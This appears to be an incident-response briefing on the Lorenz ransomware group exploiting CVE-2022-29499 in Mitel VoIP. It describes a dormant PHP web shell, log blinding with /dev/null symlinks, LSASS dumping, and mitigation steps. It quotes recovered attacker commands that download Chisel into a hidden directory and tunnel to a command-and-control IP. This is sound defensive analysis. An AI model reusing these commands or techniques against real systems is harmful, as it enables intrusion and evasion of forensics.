S-RM’s Incident Response team has observed Lorenz using a 5-month-old web shell as a way into a victim’s network and foothold for a ransomware attack. In this special edition of Cyber Intelligence Briefing S-RM cyber experts, Tim Geschwindt and Ailsa Wood, explain the technical detail behind the vulnerability discovered, the current risk to businesses using Mitel VoIP (internet telephony system), and the mitigating actions to consider taking.
Lorenz and the S-RM case
The threat actor group, Lorenz, has long exploited Mitel VoIP vulnerabilities, however, returning to backdoors that are several months old is new behaviour.
S-RM’s Incident Response team recently found evidence that Lorenz had used a long-lived web shell (a malicious script that compromises the web server) to carry out a ransomware attack. During the investigation, we theorised that the initial access vector was through the victim’s Mitel telephony infrastructure.
This theory was supported by several pieces of evidence: previous instances of Lorenz using VoIP vulnerabilities to gain access (as documented publicly for example by Crowdstrike and Arctic Wolf), the ransomware binary name of “VOIP.exe”, and the fact our earliest identified malicious activity occurred on Mitel infrastructure. We also found that malicious processes leveraging living-off-the-land binaries had been spawned by a Ruby interpreter packaged within the Mitel Shoreline suite – a clear sign of misuse of that software.
Notably, the systems had been patched with the most recent updates available, in particular, the systems had been patched for CVE-2022-29499 in July.
Who is Lorenz?
The Lorenz ransomware group has been established since early 2021, and are known for exfiltrating data prior to encryption. They have been known to use VoIP vulnerabilities to access their victims' environments. While they have shown a drop in activity since July 2022, we have seen an uptick in activity from this group in recent months.
Exploit use
We found that the threat actors were able to exploit the CVE-2022-29499 vulnerability a week prior to the implementation of the patch.
They leveraged vulnerabilities within two Mitel PHP pages on a CentOS system on the network perimeter, which allowed them to retrieve a web shell from their own infrastructure and install it on the system. The web shell was named “twitter_icon_<randomstring>.php”, and was placed within the legitimate “\shoretel\wc2_deploy\themes\” directory on the system.
While the vulnerable pages had since been removed from the system when the patch was implemented, S-RM’s forensic examiners were able to identify that they were last accessed at the same time as the creation of the web shell on the system. This interaction is consistent with the use of the CVE-2022-29499 vulnerability to create a call-back to threat actor controlled infrastructure and download payloads like this shell.
Shell in detail
The shell itself is a single line of PHP code, designed to listen for HTTP POST requests containing two parameters, one named “id”, the other, “img”. On receipt of a POST request containing the correct identifier in the “id” parameter, the shell would execute any commands provided within the “img” parameter.
Figure 1: The content of the “twitter_icon_<randomstring>.php” web shell. The unique identifier has been redacted for privacy
The shell was placed around five months prior to the ransomware event, and sat dormant throughout that period. We found that multiple POST requests to this web shell had taken place in the 48 hours prior to the detonation of Lorenz ransomware.
This period of inactivity between initial exploitation and ransom event could indicate that an initial access broker, possibly an expert in VoIP or specifically Mitel infrastructure, found the vulnerability and later provided access to their backdoor to the ransomware specialists within the Lorenz group. It is even possible that the Lorenz group contains a branch dedicated to this type of exploit development, rather than outsourcing their initial access.
"We assess that Lorenz IS actively returning to old backdoors, checking they still have access and using them to launch ransomware attacks."
The unique name of the web shell and the randomly-generated string required for the “id” parameter act as credentials for access to the system. This not only protects the backdoor from hijacking by other threat actors, but also allows the threat actor to track their backdoors across multiple victims.
When threat actors identify a zero-day vulnerability such as this, they often cast a wide net, hunting for vulnerable systems on the internet. They then target systems with the vulnerabilities present and use exploits to place backdoors on those systems, leaving them accessible for later use. Here, we assess that Lorenz is actively returning to old backdoors, checking they still have access and using them to launch ransomware attacks.
Anti-forensic techniques
During the attack, the threat actor replaced several key artefacts on the perimeter CentOS system with symbolic links to /dev/null, effectively blocking the creation of any additional logging or audit data. While many anti-forensic techniques provide forensic examiners with a time of exit, or the point at which the attacker cleaned up their tracks, this method only provides examiners with a time of malicious interaction during the attack. It does not provide any information about when the attacker may have completed their activities on the system, nor does it necessarily indicate the first time at which the threat actor gained access to it.
Full disk forensics
Due to the extent of anti-forensic techniques used, S-RM performed a forensic deep-dive into a full disk collection of the CentOS system. String searching the entire disk for the “id” string within the web shell, we found the Apache HTTP packet handler had cached the full content of packets sent to the device. This cached content had been written to disk, allowing us to carve packet content from free space.
We found that the threat actor had leveraged the following commands to access the system and consult the local DNS cache, before downloading a TCP tunnelling tool named Chisel onto the system, allowing them to pivot further into the environment. The threat actor attempted to hide this activity by placing the tool in a hidden directory, and by renaming the tool to the generic string “mem”.
echo(`cat /etc/resolv*`);
echo (`Wget https[://]github.com/jpillora/chisel/releases/download/v1.7.6/chisel_1.7.6_linux_386.gz -O /tmp/.tmp/mem.gz`);
echo(`ls -la /tmp/.tmp/`);
echo(`gzip -d /tmp/.tmp/mem.gzip`);
echo(`chmod 777 /tmp/.tmp/mem`);
Finally, we also found the command the threat actor used to execute the Chisel software, including the IP address and port used for their command and control server:
echo(`/tmp/.tmp/mem client –tls-skip-verify –fingerprint <REDACTED>=https[://]138.197.194[.]30:8085 R:socks`);
Post-exploitation
Once the threat actor had established the secure tunnel to the system, they leveraged Crack Map Exec (available on github) to move laterally throughout the network and escalate privileges, by dumping LSASS from a Windows appliance within the Mitel estate. This subsequently led to the successful breach of the entire network, data exfiltration and ultimately, encryption.
Going beyond patching
While patching in a timely manner is key to protecting devices, updating software alone is not always sufficient in ensuring the perimeter is appropriately defended. When a critical vulnerability such as CVE-2022-29499 is released, performing an investigation to identify if the vulnerability has been exploited in your environment may be critical in preventing further damage.
Investigations for newly-released vulnerabilities can be difficult – often there is very little public information available on how to identify if a vulnerability had been exploited. In these cases, consider the level of access granted by the exploit. If a vulnerability allows remote code execution, defenders should assume a threat actor would attempt to place a backdoor on the system to maintain access even after patching. On an internet facing web application, as in this example:
- Review for newly created web pages (php, aspx, etc); are there any that cannot be accounted for as legitimate?
- Review web access log data; has there been any attempt to access the vulnerable files? Has there been any attempt to access web pages you do not know are legitimate?
- Threat hunt the system for unauthorised access or behaviour; does anything look amiss?
- Review network monitoring data; is there any unexpected traffic flowing to a command and control system?
Contact S-RM’s Incident Response team for further guidance on identification if your firm could be at risk.
